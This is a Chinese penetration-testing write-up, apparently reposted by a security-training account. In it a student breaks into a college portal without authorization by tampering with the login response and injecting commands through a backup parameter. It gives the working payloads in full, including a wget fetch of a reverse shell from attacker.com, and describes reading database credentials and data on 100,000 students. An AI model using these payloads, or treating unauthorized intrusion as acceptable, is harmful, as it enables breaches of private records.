文章总结: 本文详细描述了一次针对学生门户网站的渗透测试过程。作者通过信息收集发现了一个名为/bkp的备份目录,并利用响应篡改攻击绕过身份验证,进入管理面板。随后,通过对POST参数进行模糊测试,发现了一个远程代码执行(RCE)漏洞。攻击者最终获得了服务器的反向Shell,并在数据库中找到了包含全国超过10万名大学生数据的敏感信息。作为一名负责任的白帽黑客,作者将此漏洞报告给了学院院长。 综合评分: 85 文章分类: 渗透测试,WEB安全,红队,应急响应,漏洞分析
要挂科了?那就黑一下教务处系统吧…
原创
玲珑安全 玲珑安全
玲珑安全
2025年3月11日 08:44 福建
关注公众号,阅读优质好文。
正文
有一天,我向老师询问我的考勤分数,希望从她的登记本中查看。但她拒绝了,说:“不,自己去学生门户上查。” 没再多问,我回到房间,打开笔记本电脑,登录门户网站。
在查看考勤的同时,我脑海中突然冒出一个想法:“如果我能黑进这个系统呢?”老师的拒绝加上我的考勤分数(我出勤不足)激发了我的黑客思维。此刻,我的唯一目标就是攻破这台服务器,别无他念。于是,我开始了测试。
这是一个被印度许多大学和学院广泛使用的网站,用于管理学生记录、成绩单、考勤、试卷等。该网站仅允许学生和教师登录,因为注册时需要提供有效的学院注册号。
此外,该系统还有一个移动应用,使用相同的后端服务。
按照惯例,我首先进行信息收集,使用 Subfinder、Assetfinder、Amass、crt.sh、ffuf 等工具,尽可能挖掘目标的所有子域名和子子域名。我把目标的域名存入一个名为 “scope” 的文件,并在其上运行这些工具。
但遗憾的是,我没有找到任何有趣的子域名。
该门户网站本身就是一个子域名,例如:studentportal.example.com。因此,我转向了下一步——目录扫描。
我最喜欢的目录扫描工具是 FFUF,它快速且可靠,专为扫描任务而生。因此,我运行了以下命令:
ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302
然后让它运行了一分钟左右。
我发现了一个有趣的目录:/bkp。
我立刻停止了扫描,迅速访问 /bkp 端点。果然,我找到一个页面——备份门户的登录页面。
当时我的内心只想说:“找到突破口了!”
于是,我开始尝试所有可能的默认凭据组合,不断地进行登录尝试,但都失败了。接下来,我正式启动攻击链。
你可能会好奇,这里的“部分”身份验证绕过是什么意思?在解释之前,我先展示我是如何绕过身份验证的。
我启动 BurpSuite 进行拦截,并使用随机凭据进行尝试。现在,我可以看到发送出去的请求,以及其中包含的我输入的数据。
在响应中,我看到服务器返回了 “failure”,这表明登录验证在客户端侧起到了关键作用,这意味着可能存在响应篡改攻击(Response Manipulation Attack)的可能性。
于是,我查看了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,该面板会显示从登录返回的数据库名称。
由于我不知道服务器上存在哪些备份,我尝试将返回的 “failure” 修改为 “success”。
请求返回 200,并直接向 /bkp/connect.php 发送请求(connect.php 用于在后端登录 MySQL 数据库)。
我发现自己已经登录到管理面板!
但这里存在一个问题:
数据库名称被显示为 ‘s’, ‘u’, ‘c’, ‘c’, ‘e’, ‘s’, ‘s’,也就是说,每个字母都被当作一个数据库名称。
这意味着我无法看到真正的数据库名称,但如果我知道数据库名称,我仍然可以使用备份功能。
在面板中,我注意到一个名为 “Backup” 的按钮。
这个按钮的功能是将选定的备份数据打包成 ZIP 文件并下载。
点击 Backup 按钮后,它会向 /bkp/backup1.php 发送 POST 请求,其中包含一个参数 “sendarr”,该参数存储了要备份的数据库名称。
于是,我对 sendarr 参数进行了 Fuzzing(模糊测试),大约测试了 10-20 分钟,最终发现了一个重大突破。
当我将 sendarr 的值设置为 %00(空字节,Null Byte)时,服务器崩溃,并返回了一个有趣的错误响应。
我发现后端使用了 exec() 函数来处理备份操作。
exec() 是 PHP 中的一个函数,它可以用来从 PHP 文件执行系统命令。
看到这个返回让我非常兴奋,因为这表明服务器在处理备份时使用了 exec() 命令。于是,我立即尝试注入一个执行 20 秒延迟的 Payload,以测试代码执行能力。
我使用了以下 Payload:
sendarr=|sleep 20
在 Bash/Linux 终端中,|(管道符)用于将一个命令的输出传递给另一个命令,起到命令链接的作用。
那么,在后端执行的命令可能会变成:
./backup.sh | sleep 20
这意味着,在运行 backup.sh 之后,它会执行 sleep 20 命令。
我发送了请求,BOOM!! 服务器在 20.6 秒后才响应请求。
这证明存在远程代码执行(RCE)漏洞!
不过目前它仍然是盲 RCE,也就是说,我无法直接看到命令的输出。
为了获取可见的证据,我需要让服务器执行命令并把输出写入可访问的文件。
我发现网站的根目录位于:
/var/www/html
所以,如果我能把执行命令的结果写入 /var/www/html/out,我就可以直接在浏览器中访问 /out 来查看结果。
于是,我尝试了以下 Payload:
sendarr=|id>/var/www/html/out
这个 Payload 执行了 id 命令,并将结果重定向到 /var/www/html/out 文件中。
接着,我访问 /out 页面,成功获取了服务器上的执行结果。
现在我已经成功获得了代码执行权限,于是我编写了一个简单的 Python 脚本,用于与服务器进行交互,就像一个远程 shell 一样。
为了深入控制服务器,我使用了 PentestMonkey 提供的反向 Shell(Reverse Shell)。
我首先在攻击者机器上托管了反向 Shell 文件,然后使用以下 Payload 将其下载到目标服务器:
sendarr=|wget https://attacker.com/rev.php
这个命令会将 rev.php 反向 Shell 文件下载到网站的根目录。
接下来,我启动 Netcat 监听,然后访问 /rev.php,以执行反向 Shell 脚本,成功获得了服务器的Shell 访问权限。
现在我已经成功进入了服务器。那一刻,我既兴奋又紧张。
内心的黑客冲动让我想要深入浏览服务器文件,寻找敏感信息。
在服务器中,我发现了各种程序文件,它们暴露了许多关键功能,例如:学生数据管理系统、成绩单生成程序、向数据库添加学生成绩的程序、用于插入考勤数据的程序、支付处理系统等等。
正当我继续搜索时,我终于找到了最重要的文件……
一个名为 consts.php 的文件,它包含了 MySQL 数据库的凭据,这些凭据可以让我直接登录数据库。
毫不犹豫,我立刻尝试使用以下命令登录到 MySQL 数据库:
mysql -h servername.rds.amazonaws.com -u username -p
在数据库中,我发现了许多不同大学和学院的数据库。我找到自己所在的学院,并开始查找考勤、入学、成绩等数据,最终……
这里是我发现的数据的一些截图:
作为一名负责任的白帽黑客,我不会尝试更改/删除/添加数据库中的任何数据。
这个数据库存储了全国超过 100,000 名大学生的数据,影响范围相当巨大。于是,我将这个漏洞报告给了学院院长,他随后将其转交给了该服务提供商的 IT 团队。
培训咨询v
bc52013
linglongsec
SRC漏洞挖掘培训
玲珑安全第一期SRC漏洞挖掘培训
玲珑安全第二期SRC漏洞挖掘培训
玲珑安全第三期SRC漏洞挖掘培训
玲珑安全第四期SRC漏洞挖掘培训
玲珑安全第五期SRC漏洞挖掘培训
往期漏洞分享
$15,000——通过持久token获取个人PII信息
通过JWT的IDOR实现账户接管
我是怎么挖到NASA上的P1漏洞的?
在Google漏洞追踪系统中获得15600$赏金
账户接管+PII+原漏洞绕过
Zoho帐户接管
价值$40000:从路径遍历升级至RCE
分享两个漏洞,含$3133 Google IDOR
通过监控调试模式实现价值$15k的RCE
玲珑安全B站公开课
https://space.bilibili.com/602205041
玲珑安全QQ群
191400300
玲珑安全交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玲珑安全 玲珑安全 玲珑安全《要挂科了?那就黑一下教务处系统吧…》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论